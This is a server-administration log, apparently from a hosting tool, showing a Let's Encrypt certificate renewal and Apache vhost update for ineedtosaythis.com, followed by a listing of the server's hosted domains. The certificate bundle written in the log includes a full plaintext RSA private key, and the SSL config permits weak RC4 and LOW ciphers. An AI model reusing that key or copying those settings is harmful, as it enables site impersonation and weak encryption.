XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-30 06:01:45: Establishing a connection
2025-11-30 06:01:46: Establishing a connection
2025-11-30 06:01:46:
PUT: /tmp/pkp361169
#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:01:46:
chmod 755 /tmp/pkp361169; /tmp/pkp361169; rm /tmp/pkp361169
2025-11-30 06:01:46:
1
2025-11-30 06:01:47: Establishing a connection
2025-11-30 06:01:47:
PUT: /tmp/pkp742422
#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg
cat > pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY
2025-11-30 06:01:47:
chmod 755 /tmp/pkp742422; /tmp/pkp742422; rm /tmp/pkp742422
2025-11-30 06:01:47:
2025-11-30 06:01:53: Establishing a connection
2025-11-30 06:01:53:
PUT: /tmp/pkp512850
#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm s4DWIuQZAjtF2xnEPi29t7-UO4GOLEpuCvQknj902dg
rm pmTGyWojRPKDDWet2MhLjmnF_Q7C1es9MbWrlFNOpwY
2025-11-30 06:01:53:
chmod 755 /tmp/pkp512850; /tmp/pkp512850; rm /tmp/pkp512850
2025-11-30 06:01:53:
2025-11-30 06:01:53: Establishing a connection
2025-11-30 06:01:53:
PUT: /tmp/pkp799265
#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt
cat > $temp_file <<'endmsg'
2b:5d:c9:6d:88:d2:7f:4d:dd:7e:52:0a:65:3a:3a:d0
-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBZpb74z+4VWjYfnCkKd85lX0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzIyWhcNMjYwMjI4MDUwMzIxWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDSgNgzJ7XoJOC+iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doD
pWvp3we2nL1GCICNjbJHMBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCus
Vw0L3/xk9M17dgtJvJtBkfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6
RvPCgs/VKJ89TC5Wp0QsckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q
/k+npWIXWaW3ntWsuH+yMsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWz
ytdXZg19KYhPIiQHOpYRvrAcIXLFAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFXxz/zYt0Ee/cTJh+E9loRHVmDuMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABmtNad8kAAAQDAEYwRAIgGGB3/aAsyO819GtIep0td/GN
4RgNgLSHwbWleAl+wZsCIAS92S/Z831vh4gBTL6NJIZSRfAvaA6U16cX8a6ICBB9
AHYADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa01p3jQAABAMA
RzBFAiEAhVL4TBDzeFZ1NbD29Hy+Uy0O7yjPMs05ll36J0CESAsCIHEN68985XJ4
SPYpS9Nknhe5miBdtNEz5whxtB/3cCxHMA0GCSqGSIb3DQEBCwUAA4IBAQBTs+ZT
+qsfHomjm1y8cz5b9ZqZrjoeG3llgL6QUaZ0VNP2dJEPb417fpTFPrF61/oSzz3M
Wnaf/6YvIbUR4vcKg8H8X9nRKP84N0D1ospkGmc094i0T0W9nn+zgPTd4Z4U9Qdw
zwaBF2seIGcr4IDadRjrq5YKVr45q8hZERwzCMkNA/ZdwDeXRjN+n5T96HUe/Duq
aOqLzJBNFCbiYddWp84XOaS05SXK5WAXooBGLmRtH44KXvPArxHNZgJ5Pk27lrfJ
vFaXeffsRyj4hSczMcCD4j1lCeTFdTOCK5cdwjAUN0r0Awr/VORQdKEdf63L1aOL
PRqcRiR3kTso130m
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDSgNgzJ7XoJOC+
iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doDpWvp3we2nL1GCICNjbJH
MBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCusVw0L3/xk9M17dgtJvJtB
kfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6RvPCgs/VKJ89TC5Wp0Qs
ckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q/k+npWIXWaW3ntWsuH+y
MsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWzytdXZg19KYhPIiQHOpYR
vrAcIXLFAgMBAAECggEBAJP7cAHGUOM5yaUphr3S7tsMfi1HWaDWvSZVB+fRwDJ5
Ol3aYP4zqf6eT/1wNUTcPZfq6ERrhbP9gO76qoHptkLI69GULeXpWSFjL3mrKYdc
/5wXFSKg7pTpWGp3Z/yJIe33Ct1YRuc3aA3YicgvCBFdjtkDPKcy0xNychY4SP94
6edwZbhYm1CDIIZqwOccPxEm5SE/ElTsQ+dyF6JHwK5lRnUijF//F9FdLWZDJTxI
t7UIekowU7CpkZW55jpU/PywMWOlerXRLuFLaYFlDjY6CszmBxTuY2wBbB7NNlRT
nYQHrSZpZeoKieKdyNtzJfd/vZJreUfb8y23BcQYogECgYEA+alzC2ej1Q2iJefc
l6LW+Cp9fB6JQpQdpxh2Sp2tLLT1hOy5PA/GgJkn2M27wg5YZLfW/LEIzmPrsP7b
G1KGDaga5pc3UtFAVJvBkDqx3aGDYBKRbfOedyeIQ0eucCkHWePK84hKEJGpnu7/
kdo561NmPbjtO7Nl84PweLW+ETECgYEA19jnVbqYBqPpifN1Y0UpB6UfkSNzMsWz
kmOQk8IsxZLK2lsa7U1ICP2h2Mx6Yv/s5CbzYbmp6paJStN7BRnOKfkyIgLk9tvv
zrPKQcAYR4zi17xP+1M76wlnsJkTbHf8NUkEvlEfNCjfto0Y6PomTWZ/S7sB2xtN
hymCXJbONdUCf3AmrodxByet+CkO/wkfHXJdpAEdtosx/iAR3RGnwyNSJviPXqac
b49VPZEm2jFSQGL+MpVQ8aPFPxtDYSnk6FM6MNtlEnUhisR3M3yW4U+uPlXqAWpj
BcyA9bVDfhjkVWkL6x97GcpXpNrAgg4C+gG8dTFE4UzwSdwaaOvQuJECgYAmGJtj
7yYL7fw3I+gxGDDQr50tsbMQYAJ8sOQAoEHksS7qcTAEeCJhq9pX+GcVeBQohJNq
SSmrRNyAf2j0EoTntZrak+Yzh8gAlIz7I9tlLYGQECWRtzQZHLTXX30lJNw3z2Zt
7MV0IE6z2p1t6VC/UnrfM+d085GwbGwcyWUl7QKBgQDzjCDrhhgChnQP5d2YmAhY
QSQjfWUiCx3CLNkaYQ30S4lNZdkMu/x3H338zdWnPtIs2vN1nR3BzHjNXsWBdt7N
eT9oknF/cWRD2XKbz0jem1PBPh3oZlRcfIUQt9Wjhj8nFPIn1br4akHU3w/0N0N3
TnqV5lU4kX+4m+y0neYGNQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:01:53:
chmod 755 /tmp/pkp799265; /tmp/pkp799265; rm /tmp/pkp799265
2025-11-30 06:01:53:
dir=/etc/ssl/certs
2025-11-30 06:01:53:
PUT: /tmp/pkp759693
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:01:53:
chmod 755 /tmp/pkp759693; /tmp/pkp759693; rm /tmp/pkp759693
2025-11-30 06:01:53:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46
<VirtualHost *:80>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_secure_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:01:53:
PUT: /tmp/pkp154972
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_secure_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi
2025-11-30 06:01:53:
chmod 755 /tmp/pkp154972; /tmp/pkp154972; rm /tmp/pkp154972
2025-11-30 06:01:53:
2025-11-30 06:01:53:
PUT: /tmp/pkp420834
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:01:53:
chmod 755 /tmp/pkp420834; /tmp/pkp420834; rm /tmp/pkp420834
2025-11-30 06:01:53:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:01:54: Establishing a connection
2025-11-30 06:01:54:
PUT: /tmp/pkp419161
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:01:54:
chmod 755 /tmp/pkp419161; /tmp/pkp419161; rm /tmp/pkp419161
2025-11-30 06:01:54:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:01:54:
PUT: /tmp/pkp441741
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:54:
chmod 755 /tmp/pkp441741; /tmp/pkp441741; rm /tmp/pkp441741
2025-11-30 06:01:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 1310
<VirtualHost *:80>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName ineedtosaythis.com
ServerAlias www.ineedtosaythis.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
DocumentRoot /var/www/ineedtosaythis_www
<Directory /var/www/ineedtosaythis_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/ineedtosaythis/www_secure_access.log combined
ErrorLog /var/log/apache2/ineedtosaythis/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:01:54:
PUT: /tmp/pkp462694
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:54:
chmod 755 /tmp/pkp462694; /tmp/pkp462694; rm /tmp/pkp462694
2025-11-30 06:01:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt 5389
2b:5d:c9:6d:88:d2:7f:4d:dd:7e:52:0a:65:3a:3a:d0
-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBZpb74z+4VWjYfnCkKd85lX0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzIyWhcNMjYwMjI4MDUwMzIxWjAdMRswGQYDVQQD
